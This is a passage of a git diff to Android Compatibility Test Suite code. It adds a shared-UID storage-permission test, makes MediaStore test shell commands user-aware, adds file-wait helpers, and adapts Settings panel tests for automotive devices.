+import org.junit.runners.Parameterized.Parameter;
+import org.junit.runners.Parameterized.Parameters;
+
+import java.util.ArrayList;
+
+@AppModeFull(reason = "Instant apps cannot access other app's properties")
+@RunWith(Parameterized.class)
+public class RestrictedStoragePermissionSharedUidTest {
+ private static final String LOG_TAG =
+ RestrictedStoragePermissionSharedUidTest.class.getSimpleName();
+
+ public enum StorageState {
+ /** The app has non-isolated storage */
+ NON_ISOLATED,
+
+ /** The app has isolated storage */
+ ISOLATED,
+
+ /** The read-external-storage permission cannot be granted */
+ DENIED
+ }
+
+ /**
+ * An app that is tested
+ */
+ private static class TestApp {
+ private static @NonNull Context sContext =
+ InstrumentationRegistry.getInstrumentation().getContext();
+ private static @NonNull AppOpsManager sAppOpsManager =
+ sContext.getSystemService(AppOpsManager.class);
+ private static @NonNull PackageManager sPackageManager = sContext.getPackageManager();
+
+ private final String mApk;
+ private final String mPkg;
+
+ public final boolean isRestricted;
+ public final boolean hasRequestedLegacyExternalStorage;
+
+ TestApp(@NonNull String apk, @NonNull String pkg, boolean isRestricted,
+ @NonNull boolean hasRequestedLegacyExternalStorage) {
+ mApk = apk;
+ mPkg = pkg;
+
+ this.isRestricted = isRestricted;
+ this.hasRequestedLegacyExternalStorage = hasRequestedLegacyExternalStorage;
+ }
+
+ /**
+ * Assert that the read-external-storage permission was granted or not granted.
+ *
+ * @param expectGranted {@code true} if the permission is expected to be granted
+ */
+ void assertStoragePermGranted(boolean expectGranted) {
+ eventually(() -> assertThat(isGranted(mPkg, READ_EXTERNAL_STORAGE)).named(
+ this + " read storage granted").isEqualTo(expectGranted));
+ }
+
+ /**
+ * Assert that the app has non-isolated storage
+ *
+ * @param expectGranted {@code true} if the app is expected to have non-isolated storage
+ */
+ void assertHasNotIsolatedStorage(boolean expectHasNotIsolatedStorage) {
+ eventually(() -> runWithShellPermissionIdentity(() -> {
+ int uid = sContext.getPackageManager().getPackageUid(mPkg, 0);
+ if (expectHasNotIsolatedStorage) {
+ assertThat(sAppOpsManager.unsafeCheckOpRawNoThrow(OPSTR_LEGACY_STORAGE, uid,
+ mPkg)).named(this + " legacy storage mode").isEqualTo(MODE_ALLOWED);
+ } else {
+ assertThat(sAppOpsManager.unsafeCheckOpRawNoThrow(OPSTR_LEGACY_STORAGE, uid,
+ mPkg)).named(this + " legacy storage mode").isNotEqualTo(MODE_ALLOWED);
+ }
+ }));
+ }
+
+ int getTargetSDK() throws Exception {
+ return sPackageManager.getApplicationInfo(mPkg, 0).targetSdkVersion;
+ }
+
+ void install() {
+ if (isRestricted) {
+ runShellCommand("pm install -g --restrict-permissions " + mApk);
+ } else {
+ runShellCommand("pm install -g " + mApk);
+ }
+ }
+
+ void uninstall() {
+ runShellCommand("pm uninstall " + mPkg);
+ }
+
+ @Override
+ public String toString() {
+ return mPkg.substring(PKG_PREFIX.length());
+ }
+ }
+
+ /**
+ * Placeholder for "no app". The properties are chosen that when combined with another app, the
+ * other app always decides the resulting property,
+ */
+ private static class NoApp extends TestApp {
+ NoApp() {
+ super("", PKG_PREFIX + "(none)", true, false);
+ }
+
+ void assertStoragePermGranted(boolean ignored) {
+ // empty
+ }
+
+ void assertHasNotIsolatedStorage(boolean ignored) {
+ // empty
+ }
+
+ @Override
+ int getTargetSDK() {
+ return 10000;
+ }
+
+ @Override
+ public void install() {
+ // empty
+ }
+
+ @Override
+ public void uninstall() {
+ // empty
+ }
+ }
+
+ private static final String APK_PATH = "/data/local/tmp/cts/permissions2/";
+ private static final String PKG_PREFIX = "android.permission2.cts.legacystoragewithshareduid.";
+
+ private static final TestApp[] TEST_APPS = new TestApp[]{
+ new TestApp(APK_PATH + "CtsLegacyStorageNotIsolatedWithSharedUid.apk",
+ PKG_PREFIX + "notisolated", false, true),
+ new TestApp(APK_PATH + "CtsLegacyStorageIsolatedWithSharedUid.apk",
+ PKG_PREFIX + "isolated", false, false),
+ new TestApp(APK_PATH + "CtsLegacyStorageRestrictedWithSharedUid.apk",
+ PKG_PREFIX + "restricted", true, false),
+ new TestApp(APK_PATH + "CtsLegacyStorageRestrictedSdk28WithSharedUid.apk",
+ PKG_PREFIX + "restrictedsdk28", true, true),
+ new NoApp()};
+
+ /**
+ * First app to be tested. This is the first in an entry created by {@link
+ * #getTestAppCombinations}
+ */
+ @Parameter(0)
+ public @NonNull TestApp app1;
+
+ /**
+ * Second app to be tested. This is the second in an entry created by {@link
+ * #getTestAppCombinations}
+ */
+ @Parameter(1)
+ public @NonNull TestApp app2;
+
+ /**
+ * Run this test for all combination of two tests-apps out of {@link #TEST_APPS}. This includes
+ * the {@link NoApp}, i.e. we also test a single test-app by itself.
+ *
+ * @return All combinations of two test-apps
+ */
+ @Parameters(name = "{0} and {1}")
+ public static Iterable<Object[]> getTestAppCombinations() {
+ ArrayList<Object[]> parameters = new ArrayList<>();
+
+ for (int firstApp = 0; firstApp < TEST_APPS.length; firstApp++) {
+ for (int secondApp = firstApp + 1; secondApp < TEST_APPS.length; secondApp++) {
+ parameters.add(new Object[]{TEST_APPS[firstApp], TEST_APPS[secondApp]});
+ }
+ }
+
+ return parameters;
+ }
+
+ @Test
+ public void checkExceptedStorageStateForAppsSharingUid() throws Exception {
+ app1.install();
+ app2.install();
+
+ int targetSDK = min(app1.getTargetSDK(), app2.getTargetSDK());
+ boolean isRestricted = app1.isRestricted && app2.isRestricted;
+ boolean hasRequestedLegacyExternalStorage =
+ app1.hasRequestedLegacyExternalStorage || app2.hasRequestedLegacyExternalStorage;
+
+ StorageState expectedState;
+ if (isRestricted) {
+ if (targetSDK < Build.VERSION_CODES.Q) {
+ expectedState = DENIED;
+ } else {
+ expectedState = ISOLATED;
+ }
+ } else if (hasRequestedLegacyExternalStorage) {
+ expectedState = NON_ISOLATED;
+ } else {
+ expectedState = ISOLATED;
+ }
+
+ Log.i(LOG_TAG, "Expected state=" + expectedState);
+
+ app1.assertStoragePermGranted(expectedState != DENIED);
+ app2.assertStoragePermGranted(expectedState != DENIED);
+
+ if (expectedState != DENIED) {
+ app1.assertHasNotIsolatedStorage(expectedState == NON_ISOLATED);
+ app2.assertHasNotIsolatedStorage(expectedState == NON_ISOLATED);
+ }
+ }
+
+ @After
+ public void uninstallAllTestPackages() {
+ app1.uninstall();
+ app2.uninstall();
+ }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_MediaTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_MediaTest.java
index 78df1a9d5c9..4a8afe74833 100644
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_MediaTest.java
+++ b/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_MediaTest.java
@@ -168,8 +168,9 @@ public class MediaStore_Audio_MediaTest {
@Test
public void testCanonicalize() throws Exception {
// Remove all audio left over from other tests
- ProviderTestUtils.executeShellCommand(
- "content delete --uri " + mExternalAudio,
+ ProviderTestUtils.executeShellCommand("content delete"
+ + " --user " + InstrumentationRegistry.getTargetContext().getUserId()
+ + " --uri " + mExternalAudio,
InstrumentationRegistry.getInstrumentation().getUiAutomation());
// Publish some content
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_Images_MediaTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_Images_MediaTest.java
index 177fddb9773..a343c7683d3 100644
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_Images_MediaTest.java
+++ b/tests/tests/provider/src/android/provider/cts/MediaStore_Images_MediaTest.java
@@ -229,7 +229,9 @@ public class MediaStore_Images_MediaTest {
cleanExternalMediaFile(externalPath2);
int numBytes = 1337;
- FileUtils.createFile(new File(externalPath), numBytes);
+ File file = new File(externalPath);
+ FileUtils.createFile(file, numBytes);
+ ProviderTestUtils.waitUntilExists(file);
ContentValues values = new ContentValues();
values.put(Media.ORIENTATION, 0);
@@ -281,7 +283,7 @@ public class MediaStore_Images_MediaTest {
} finally {
// delete
assertEquals(1, mContentResolver.delete(uri, null, null));
- new File(externalPath).delete();
+ file.delete();
}
}
@@ -342,8 +344,9 @@ public class MediaStore_Images_MediaTest {
}
// Now remove ownership, which means that Exif/XMP location data should be redacted
- ProviderTestUtils.executeShellCommand(
- "content update --uri " + publishUri + " --bind owner_package_name:n:",
+ ProviderTestUtils.executeShellCommand("content update"
+ + " --user " + InstrumentationRegistry.getTargetContext().getUserId()
+ + " --uri " + publishUri + " --bind owner_package_name:n:",
InstrumentationRegistry.getInstrumentation().getUiAutomation());
try (InputStream is = mContentResolver.openInputStream(publishUri)) {
final ExifInterface exif = new ExifInterface(is);
@@ -405,8 +408,9 @@ public class MediaStore_Images_MediaTest {
@Test
public void testCanonicalize() throws Exception {
// Remove all audio left over from other tests
- ProviderTestUtils.executeShellCommand(
- "content delete --uri " + mExternalImages,
+ ProviderTestUtils.executeShellCommand("content delete"
+ + " --user " + InstrumentationRegistry.getTargetContext().getUserId()
+ + " --uri " + mExternalImages,
InstrumentationRegistry.getInstrumentation().getUiAutomation());
// Publish some content
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_Video_MediaTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_Video_MediaTest.java
index fdf46ce39fe..6a7a1f90225 100644
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_Video_MediaTest.java
+++ b/tests/tests/provider/src/android/provider/cts/MediaStore_Video_MediaTest.java
@@ -31,6 +31,7 @@ import android.content.ContentResolver;
import android.content.ContentValues;
import android.content.Context;
import android.database.Cursor;
+import android.media.MediaExtractor;
import android.media.MediaMetadataRetriever;
import android.net.Uri;
import android.os.ParcelFileDescriptor;
@@ -234,6 +235,7 @@ public class MediaStore_Video_MediaTest {
mmr.setDataSource(pfd.getFileDescriptor());
assertEquals("+37.4217-122.0834/",
mmr.extractMetadata(MediaMetadataRetriever.METADATA_KEY_LOCATION));
+ assertEquals("2", mmr.extractMetadata(MediaMetadataRetriever.METADATA_KEY_NUM_TRACKS));
}
try (InputStream in = mContentResolver.openInputStream(publishUri)) {
byte[] bytes = FileUtils.readInputStreamFully(in);
@@ -248,14 +250,16 @@ public class MediaStore_Video_MediaTest {
}
// Now remove ownership, which means that location should be redacted
- ProviderTestUtils.executeShellCommand(
- "content update --uri " + publishUri + " --bind owner_package_name:n:",
+ ProviderTestUtils.executeShellCommand("content update"
+ + " --user " + InstrumentationRegistry.getTargetContext().getUserId()
+ + " --uri " + publishUri + " --bind owner_package_name:n:",
InstrumentationRegistry.getInstrumentation().getUiAutomation());
try (ParcelFileDescriptor pfd = mContentResolver.openFile(publishUri, "r", null);
MediaMetadataRetriever mmr = new MediaMetadataRetriever()) {
mmr.setDataSource(pfd.getFileDescriptor());
assertEquals(null,
mmr.extractMetadata(MediaMetadataRetriever.METADATA_KEY_LOCATION));
+ assertEquals("2", mmr.extractMetadata(MediaMetadataRetriever.METADATA_KEY_NUM_TRACKS));
}
try (InputStream in = mContentResolver.openInputStream(publishUri)) {
byte[] bytes = FileUtils.readInputStreamFully(in);
@@ -313,8 +317,9 @@ public class MediaStore_Video_MediaTest {
@Test
public void testCanonicalize() throws Exception {
// Remove all audio left over from other tests
- ProviderTestUtils.executeShellCommand(
- "content delete --uri " + mExternalVideo,
+ ProviderTestUtils.executeShellCommand("content delete"
+ + " --user " + InstrumentationRegistry.getTargetContext().getUserId()
+ + " --uri " + mExternalVideo,
InstrumentationRegistry.getInstrumentation().getUiAutomation());
// Publish some content
diff --git a/tests/tests/provider/src/android/provider/cts/ProviderTestUtils.java b/tests/tests/provider/src/android/provider/cts/ProviderTestUtils.java
index e748360c07b..3e47d150fbb 100644
--- a/tests/tests/provider/src/android/provider/cts/ProviderTestUtils.java
+++ b/tests/tests/provider/src/android/provider/cts/ProviderTestUtils.java
@@ -18,6 +18,7 @@ package android.provider.cts;
import static android.provider.cts.MediaStoreTest.TAG;
+import static com.google.common.truth.Truth.assertWithMessage;
import static org.junit.Assert.fail;
import android.app.UiAutomation;
@@ -28,6 +29,8 @@ import android.net.Uri;
import android.os.Environment;
import android.os.FileUtils;
import android.os.ParcelFileDescriptor;
+import android.os.UserHandle;
+import android.os.UserManager;
import android.provider.MediaStore;
import android.provider.MediaStore.MediaColumns;
import android.provider.cts.MediaStoreUtils.PendingParams;
@@ -39,6 +42,8 @@ import android.util.Log;
import androidx.test.InstrumentationRegistry;
+import com.android.compatibility.common.util.Timeout;
+
import java.io.BufferedReader;
import java.io.File;
import java.io.FileInputStream;
@@ -68,6 +73,8 @@ public class ProviderTestUtils {
private static final Pattern PATTERN_STORAGE_PATH = Pattern.compile(
"(?i)^/storage/[^/]+/(?:[0-9]+/)?");
+ private static final Timeout IO_TIMEOUT = new Timeout("IO_TIMEOUT", 2_000, 2, 2_000);
+
static Iterable<String> getSharedVolumeNames() {
// We test both new and legacy volume names
final HashSet<String> testVolumes = new HashSet<>();
@@ -175,12 +182,29 @@ public class ProviderTestUtils {
executeShellCommand("bmgr wipe " + backupTransport + " " + packageName, uiAutomation);
}
+ /**
+ * Waits until a file exists, or fails.
+ *
+ * @return existing file.
+ */
+ public static File waitUntilExists(File file) throws IOException {
+ try {
+ return IO_TIMEOUT.run("file '" + file + "' doesn't exist yet", () -> {
+ return file.exists() ? file : null; // will retry if it returns null
+ });
+ } catch (Exception e) {
+ throw new IOException(e);
+ }
+ }
+
static File stageDir(String volumeName) throws IOException {
if (MediaStore.VOLUME_EXTERNAL.equals(volumeName)) {
volumeName = MediaStore.VOLUME_EXTERNAL_PRIMARY;
}
- return Environment.buildPath(MediaStore.getVolumePath(volumeName), "Android", "media",
+ File dir = Environment.buildPath(MediaStore.getVolumePath(volumeName), "Android", "media",
"android.provider.cts");
+ Log.d(TAG, "stageDir(" + volumeName + "): returning " + dir);
+ return dir;
}
static File stageDownloadDir(String volumeName) throws IOException {
@@ -194,10 +218,11 @@ public class ProviderTestUtils {
static File stageFile(int resId, File file) throws IOException {
// The caller may be trying to stage into a location only available to
// the shell user, so we need to perform the entire copy as the shell
- if (FileUtils.contains(Environment.getStorageDirectory(), file)) {
+ final Context context = InstrumentationRegistry.getTargetContext();
+ UserManager userManager = context.getSystemService(UserManager.class);
+ if (userManager.isSystemUser() &&
+ FileUtils.contains(Environment.getStorageDirectory(), file)) {
executeShellCommand("mkdir -p " + file.getParent());
-
- final Context context = InstrumentationRegistry.getTargetContext();
try (AssetFileDescriptor afd = context.getResources().openRawResourceFd(resId)) {
final File source = ParcelFileDescriptor.getFile(afd.getFileDescriptor());
final long skip = afd.getStartOffset();
@@ -215,13 +240,12 @@ public class ProviderTestUtils {
if (!dir.exists()) {
throw new FileNotFoundException("Failed to create parent for " + file);
}
- final Context context = InstrumentationRegistry.getTargetContext();
try (InputStream source = context.getResources().openRawResource(resId);
OutputStream target = new FileOutputStream(file)) {
FileUtils.copy(source, target);
}
}
- return file;
+ return waitUntilExists(file);
}
static Uri stageMedia(int resId, Uri collectionUri) throws IOException {
@@ -243,11 +267,15 @@ public class ProviderTestUtils {
}
static Uri scanFile(File file) throws Exception {
- return MediaStore.scanFile(InstrumentationRegistry.getTargetContext(), file);
+ Uri uri = MediaStore.scanFile(InstrumentationRegistry.getTargetContext(), file);
+ assertWithMessage("no URI for '%s'", file).that(uri).isNotNull();
+ return uri;
}
static Uri scanFileFromShell(File file) throws Exception {
- return MediaStore.scanFileFromShell(InstrumentationRegistry.getTargetContext(), file);
+ Uri uri = MediaStore.scanFileFromShell(InstrumentationRegistry.getTargetContext(), file);
+ assertWithMessage("no URI for '%s'", file).that(uri).isNotNull();
+ return uri;
}
static void scanVolume(File file) throws Exception {
@@ -321,8 +349,9 @@ public class ProviderTestUtils {
}
public static File getRawFile(Uri uri) throws Exception {
- final String res = ProviderTestUtils.executeShellCommand(
- "content query --uri " + uri + " --projection _data",
+ final String res = ProviderTestUtils.executeShellCommand("content query --uri " + uri
+ + " --user " + InstrumentationRegistry.getTargetContext().getUserId()
+ + " --projection _data",
InstrumentationRegistry.getInstrumentation().getUiAutomation());
final int i = res.indexOf("_data=");
if (i >= 0) {
diff --git a/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java b/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java
index 3327390b855..8142efe492f 100644
--- a/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java
+++ b/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java
@@ -17,6 +17,7 @@
package android.provider.cts;
import static com.google.common.truth.Truth.assertThat;
+import static org.junit.Assume.assumeTrue;
import android.content.Context;
import android.content.Intent;
@@ -27,6 +28,8 @@ import android.support.test.uiautomator.UiDevice;
import android.support.test.uiautomator.UiObject2;
import android.support.test.uiautomator.Until;
+import com.android.compatibility.common.util.RequiredServiceRule;
+
import androidx.test.InstrumentationRegistry;
import androidx.test.filters.MediumTest;
import androidx.test.runner.AndroidJUnit4;
@@ -36,6 +39,8 @@ import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
+import java.util.Arrays;
+
/**
* Tests related SettingsPanels:
*
@@ -47,11 +52,11 @@ public class SettingsPanelTest {
private static final int TIMEOUT = 8000;
- private static final String SETTINGS_PACKAGE = "com.android.settings";
private static final String RESOURCE_DONE = "done";
private static final String RESOURCE_SEE_MORE = "see_more";
private static final String RESOURCE_TITLE = "panel_title";
+ private String mSettingsPackage = "com.android.settings";
private String mLauncherPackage;
private Context mContext;
@@ -68,6 +73,10 @@ public class SettingsPanelTest {
launcherIntent.addCategory(Intent.CATEGORY_HOME);
mLauncherPackage = packageManager.resolveActivity(launcherIntent,
PackageManager.MATCH_DEFAULT_ONLY).activityInfo.packageName;
+
+ if (packageManager.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
+ mSettingsPackage = "com.android.car.settings";
+ }
}
@After
@@ -84,7 +93,7 @@ public class SettingsPanelTest {
String currentPackage = mDevice.getCurrentPackageName();
- assertThat(currentPackage).isEqualTo(SETTINGS_PACKAGE);
+ assertThat(currentPackage).isEqualTo(mSettingsPackage);
}
@Test
@@ -93,7 +102,7 @@ public class SettingsPanelTest {
String currentPackage = mDevice.getCurrentPackageName();
- assertThat(currentPackage).isEqualTo(SETTINGS_PACKAGE);
+ assertThat(currentPackage).isEqualTo(mSettingsPackage);
}
@Test
@@ -102,7 +111,7 @@ public class SettingsPanelTest {
String currentPackage = mDevice.getCurrentPackageName();
- assertThat(currentPackage).isEqualTo(SETTINGS_PACKAGE);
+ assertThat(currentPackage).isEqualTo(mSettingsPackage);
}
@Test
@@ -111,14 +120,14 @@ public class SettingsPanelTest {
String currentPackage = mDevice.getCurrentPackageName();
- assertThat(currentPackage).isEqualTo(SETTINGS_PACKAGE);
+ assertThat(currentPackage).isEqualTo(mSettingsPackage);
}
@Test
public void internetPanel_correctTitle() {
launchInternetPanel();
- final UiObject2 titleView = mDevice.findObject(By.res(SETTINGS_PACKAGE, RESOURCE_TITLE));
+ final UiObject2 titleView = mDevice.findObject(By.res(mSettingsPackage, RESOURCE_TITLE));
assertThat(titleView.getText()).isEqualTo("Internet Connectivity");
}
@@ -127,7 +136,7 @@ public class SettingsPanelTest {
public void volumePanel_correctTitle() {
launchVolumePanel();
- final UiObject2 titleView = mDevice.findObject(By.res(SETTINGS_PACKAGE, RESOURCE_TITLE));
+ final UiObject2 titleView = mDevice.findObject(By.res(mSettingsPackage, RESOURCE_TITLE));
assertThat(titleView.getText()).isEqualTo("Volume");
}
@@ -136,7 +145,7 @@ public class SettingsPanelTest {
public void nfcPanel_correctTitle() {
launchNfcPanel();
- final UiObject2 titleView = mDevice.findObject(By.res(SETTINGS_PACKAGE, RESOURCE_TITLE));
+ final UiObject2 titleView = mDevice.findObject(By.res(mSettingsPackage, RESOURCE_TITLE));
assertThat(titleView.getText()).isEqualTo("NFC");
}
@@ -145,9 +154,10 @@ public class SettingsPanelTest {
public void wifiPanel_correctTitle() {
launchWifiPanel();
- final UiObject2 titleView = mDevice.findObject(By.res(SETTINGS_PACKAGE, RESOURCE_TITLE));
+ final UiObject2 titleView = mDevice.findObject(By.res(mSettingsPackage, RESOURCE_TITLE));
- assertThat(titleView.getText()).isEqualTo("Wi\u2011Fi");
+ // title must be "Wi\u2011Fi" or "WLAN"
+ assertThat(titleView.getText()).isIn(Arrays.asList("Wi\u2011Fi", "WLAN"));
}
@Test
@@ -155,15 +165,15 @@ public class SettingsPanelTest {
// Launch panel
launchInternetPanel();
String currentPackage = mDevice.getCurrentPackageName();
- assertThat(currentPackage).isEqualTo(SETTINGS_PACKAGE);
+ assertThat(currentPackage).isEqualTo(mSettingsPackage);
// Click the done button
- mDevice.findObject(By.res(SETTINGS_PACKAGE, RESOURCE_DONE)).click();
+ mDevice.findObject(By.res(mSettingsPackage, RESOURCE_DONE)).click();
mDevice.wait(Until.hasObject(By.pkg(mLauncherPackage).depth(0)), TIMEOUT);
// Assert that we have left the panel
currentPackage = mDevice.getCurrentPackageName();
- assertThat(currentPackage).isNotEqualTo(SETTINGS_PACKAGE);
+ assertThat(currentPackage).isNotEqualTo(mSettingsPackage);
}
@Test
@@ -171,15 +181,15 @@ public class SettingsPanelTest {
// Launch panel
launchVolumePanel();
String currentPackage = mDevice.getCurrentPackageName();
- assertThat(currentPackage).isEqualTo(SETTINGS_PACKAGE);
+ assertThat(currentPackage).isEqualTo(mSettingsPackage);
// Click the done button
- mDevice.findObject(By.res(SETTINGS_PACKAGE, RESOURCE_DONE)).click();
+ mDevice.findObject(By.res(mSettingsPackage, RESOURCE_DONE)).click();
mDevice.wait(Until.hasObject(By.pkg(mLauncherPackage).depth(0)), TIMEOUT);
// Assert that we have left the panel
currentPackage = mDevice.getCurrentPackageName();
- assertThat(currentPackage).isNotEqualTo(SETTINGS_PACKAGE);
+ assertThat(currentPackage).isNotEqualTo(mSettingsPackage);
}
@Test
@@ -187,15 +197,15 @@ public class SettingsPanelTest {
// Launch panel
launchNfcPanel();
String currentPackage = mDevice.getCurrentPackageName();
- assertThat(currentPackage).isEqualTo(SETTINGS_PACKAGE);
+ assertThat(currentPackage).isEqualTo(mSettingsPackage);
// Click the done button
- mDevice.findObject(By.res(SETTINGS_PACKAGE, RESOURCE_DONE)).click();
+ mDevice.findObject(By.res(mSettingsPackage, RESOURCE_DONE)).click();
mDevice.wait(Until.hasObject(By.pkg(mLauncherPackage).depth(0)), TIMEOUT);
// Assert that we have left the panel
currentPackage = mDevice.getCurrentPackageName();
- assertThat(currentPackage).isNotEqualTo(SETTINGS_PACKAGE);
+ assertThat(currentPackage).isNotEqualTo(mSettingsPackage);
}
@Test
@@ -203,15 +213,15 @@ public class SettingsPanelTest {
// Launch panel
launchWifiPanel();
String currentPackage = mDevice.getCurrentPackageName();
- assertThat(currentPackage).isEqualTo(SETTINGS_PACKAGE);
+ assertThat(currentPackage).isEqualTo(mSettingsPackage);
// Click the done button
- mDevice.findObject(By.res(SETTINGS_PACKAGE, RESOURCE_DONE)).click();
+ mDevice.findObject(By.res(mSettingsPackage, RESOURCE_DONE)).click();
mDevice.wait(Until.hasObject(By.pkg(mLauncherPackage).depth(0)), TIMEOUT);
// Assert that we have left the panel
currentPackage = mDevice.getCurrentPackageName();
- assertThat(currentPackage).isNotEqualTo(SETTINGS_PACKAGE);
+ assertThat(currentPackage).isNotEqualTo(mSettingsPackage);
}
@Test
@@ -219,16 +229,16 @@ public class SettingsPanelTest {
// Launch panel
launchInternetPanel();
String currentPackage = mDevice.getCurrentPackageName();
- assertThat(currentPackage).isEqualTo(SETTINGS_PACKAGE);
+ assertThat(currentPackage).isEqualTo(mSettingsPackage);
// Click the see more button
- mDevice.findObject(By.res(SETTINGS_PACKAGE, RESOURCE_SEE_MORE)).click();
- mDevice.wait(Until.hasObject(By.pkg(SETTINGS_PACKAGE).depth(0)), TIMEOUT);
+ mDevice.findObject(By.res(mSettingsPackage, RESOURCE_SEE_MORE)).click();
+ mDevice.wait(Until.hasObject(By.pkg(mSettingsPackage).depth(0)), TIMEOUT);
// Assert that we're still in Settings, on a different page.
currentPackage = mDevice.getCurrentPackageName();
- assertThat(currentPackage).isEqualTo(SETTINGS_PACKAGE);
- UiObject2 titleView = mDevice.findObject(By.res(SETTINGS_PACKAGE, RESOURCE_TITLE));
+ assertThat(currentPackage).isEqualTo(mSettingsPackage);
+ UiObject2 titleView = mDevice.findObject(By.res(mSettingsPackage, RESOURCE_TITLE));
assertThat(titleView).isNull();
}
@@ -237,16 +247,16 @@ public class SettingsPanelTest {
// Launch panel
launchVolumePanel();
String currentPackage = mDevice.getCurrentPackageName();
- assertThat(currentPackage).isEqualTo(SETTINGS_PACKAGE);
+ assertThat(currentPackage).isEqualTo(mSettingsPackage);
// Click the see more button
- mDevice.findObject(By.res(SETTINGS_PACKAGE, RESOURCE_SEE_MORE)).click();
- mDevice.wait(Until.hasObject(By.pkg(SETTINGS_PACKAGE).depth(0)), TIMEOUT);
+ mDevice.findObject(By.res(mSettingsPackage, RESOURCE_SEE_MORE)).click();
+ mDevice.wait(Until.hasObject(By.pkg(mSettingsPackage).depth(0)), TIMEOUT);
// Assert that we're still in Settings, on a different page.
currentPackage = mDevice.getCurrentPackageName();
- assertThat(currentPackage).isEqualTo(SETTINGS_PACKAGE);
- UiObject2 titleView = mDevice.findObject(By.res(SETTINGS_PACKAGE, RESOURCE_TITLE));
+ assertThat(currentPackage).isEqualTo(mSettingsPackage);
+ UiObject2 titleView = mDevice.findObject(By.res(mSettingsPackage, RESOURCE_TITLE));
assertThat(titleView).isNull();
}
@@ -255,16 +265,16 @@ public class SettingsPanelTest {
// Launch panel
launchNfcPanel();
String currentPackage = mDevice.getCurrentPackageName();
- assertThat(currentPackage).isEqualTo(SETTINGS_PACKAGE);
+ assertThat(currentPackage).isEqualTo(mSettingsPackage);
// Click the see more button
- mDevice.findObject(By.res(SETTINGS_PACKAGE, RESOURCE_SEE_MORE)).click();
- mDevice.wait(Until.hasObject(By.pkg(SETTINGS_PACKAGE).depth(0)), TIMEOUT);
+ mDevice.findObject(By.res(mSettingsPackage, RESOURCE_SEE_MORE)).click();
+ mDevice.wait(Until.hasObject(By.pkg(mSettingsPackage).depth(0)), TIMEOUT);
// Assert that we're still in Settings, on a different page.
currentPackage = mDevice.getCurrentPackageName();
- assertThat(currentPackage).isEqualTo(SETTINGS_PACKAGE);
- UiObject2 titleView = mDevice.findObject(By.res(SETTINGS_PACKAGE, RESOURCE_TITLE));
+ assertThat(currentPackage).isEqualTo(mSettingsPackage);
+ UiObject2 titleView = mDevice.findObject(By.res(mSettingsPackage, RESOURCE_TITLE));
assertThat(titleView).isNull();
}
@@ -273,16 +283,16 @@ public class SettingsPanelTest {
// Launch panel
launchWifiPanel();
String currentPackage = mDevice.getCurrentPackageName();
- assertThat(currentPackage).isEqualTo(SETTINGS_PACKAGE);
+ assertThat(currentPackage).isEqualTo(mSettingsPackage);
// Click the see more button
- mDevice.findObject(By.res(SETTINGS_PACKAGE, RESOURCE_SEE_MORE)).click();
- mDevice.wait(Until.hasObject(By.pkg(SETTINGS_PACKAGE).depth(0)), TIMEOUT);
+ mDevice.findObject(By.res(mSettingsPackage, RESOURCE_SEE_MORE)).click();
+ mDevice.wait(Until.hasObject(By.pkg(mSettingsPackage).depth(0)), TIMEOUT);
// Assert that we're still in Settings, on a different page.
currentPackage = mDevice.getCurrentPackageName();
- assertThat(currentPackage).isEqualTo(SETTINGS_PACKAGE);
- UiObject2 titleView = mDevice.findObject(By.res(SETTINGS_PACKAGE, RESOURCE_TITLE));
+ assertThat(currentPackage).isEqualTo(mSettingsPackage);
+ UiObject2 titleView = mDevice.findObject(By.res(mSettingsPackage, RESOURCE_TITLE));
assertThat(titleView).isNull();
}
@@ -295,6 +305,7 @@ public class SettingsPanelTest {
}
private void launchNfcPanel() {
+ assumeTrue("device does not support NFC", RequiredServiceRule.hasService("nfc"));
launchPanel(Settings.Panel.ACTION_NFC);
}
@@ -313,6 +324,6 @@ public class SettingsPanelTest {
mContext.startActivity(intent);
// Wait for the app to appear
- mDevice.wait(Until.hasObject(By.pkg(SETTINGS_PACKAGE).depth(0)), TIMEOUT);
+ mDevice.wait(Until.hasObject(By.pkg(mSettingsPackage).depth(0)), TIMEOUT);
}
}
diff --git a/tests/tests/role/AndroidTest.xml b/tests/tests/role/AndroidTest.xml
index e309746077a..cf4b1d388d4 100644
--- a/tests/tests/role/AndroidTest.xml
+++ b/tests/tests/role/AndroidTest.xml
@@ -35,6 +35,7 @@
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
<option name="cleanup" value="true" />
<option name="push" value="CtsRoleTestApp.apk->/data/local/tmp/cts/role/CtsRoleTestApp.apk" />
+ <option name="push" value="CtsRoleTestApp28.apk->/data/local/tmp/cts/role/CtsRoleTestApp28.apk" />
</target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
diff --git a/tests/tests/role/CtsRoleTestApp/AndroidManifest.xml b/tests/tests/role/CtsRoleTestApp/AndroidManifest.xml
index 4ae5d5afc3f..f1829f63acc 100644
--- a/tests/tests/role/CtsRoleTestApp/AndroidManifest.xml
+++ b/tests/tests/role/CtsRoleTestApp/AndroidManifest.xml
@@ -30,6 +30,14 @@
android:name=".IsRoleHeldActivity"
android:exported="true" />
+ <activity
+ android:name=".ChangeDefaultDialerActivity"
+ android:exported="true" />
+
+ <activity
+ android:name=".ChangeDefaultSmsActivity"
+ android:exported="true" />
+
<!-- Dialer -->
<activity android:name=".DialerDialActivity">
<intent-filter>
diff --git a/tests/tests/role/CtsRoleTestApp/src/android/app/role/cts/app/ChangeDefaultDialerActivity.java b/tests/tests/role/CtsRoleTestApp/src/android/app/role/cts/app/ChangeDefaultDialerActivity.java
new file mode 100644
index 00000000000..89cafa001c8
--- /dev/null
